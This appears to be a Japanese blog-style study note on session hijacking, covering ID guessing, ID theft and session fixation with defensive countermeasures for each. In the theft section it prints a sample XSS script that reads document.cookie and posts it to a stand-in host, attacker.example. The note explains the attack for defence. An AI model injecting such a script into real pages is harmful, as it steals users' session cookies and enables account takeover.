はじめに
セッションハイジャック攻撃について、自分なりにまとめてみました。
改訂履歴
- 2026/07/13 : 初版公開。
本文
1. 概要
セッションハイジャック攻撃とは、攻撃者が何らかの手段を用いて、セッション ID を不正に取得し、通信(セッション)をハイジャックしてしまう攻撃手法です。
2. 手法と対策
セッションハイジャックの攻撃手法には推測や盗用、セッションフィクセーション攻撃などが挙げられます。
2-1. 推測
セッション ID を総当たりや規則性の解析によって推測し、不正に利用する手法です。
対策は以下になります。
- 十分に長くランダムなセッション ID を生成する。
- 暗号学的に安全な乱数を使用する。
- セッション ID に規則性を持たせない。
2-2. 盗用
以下の手段を用いて、セッション ID を窃取する手法です。
- 通信の盗聴。
- XSS 攻撃で Cookie を盗む。
- マルウェアの使用。
対策は以下になります。
- HTTPS を必須にして通信盗聴を防ぐ。
- Cookie に Secure 属性を付与し、Cookie を HTTPS 通信でのみ送信する。
- Cookie に HttpOnly 属性を付与し、JavaScript からの取得を防ぐ。
- Content Security Policy やエスケープ処理などを用いて XSS 脆弱性をなくす。
- 利用者の端末を最新の状態に保つ。
補足
XSS 攻撃による Cookie の窃取について、以下のようなスプリクトがページに埋め込まれることで発生します。
<script>
// Cookie の取得
const cookie = document.cookie;
// 取得した Cookie を攻撃者のサーバに送信する
fetch("https://attacker.example/collect", {
method: "POST",
body: cookie
});
</script>
もし Cookie に HttpOnly 属性が付与されていた場合、JavaScript は document.cookie を使用しても、その Cookie を取得することができなくなります。
2-3. セッションフィクセーション攻撃
セッション ID の固定化や、セッション固定化攻撃とも呼ばれます。攻撃者が事前に用意したセッション ID を利用者に使わせ、利用者がそのままログインした後に同じセッション ID を利用してなりすます攻撃です。例えば、攻撃者が細工した URL を利用者に開かせ、既知のセッション ID を利用させることで攻撃が成立します。
対策は以下になります。
- ログインの成功時にセッション ID を再生成する。
- ログアウト時にセッションを破棄する。
- URL パラメータでセッション ID を管理しない。
- Cookie を利用してセッションを管理する。
おわりに
随時更新します。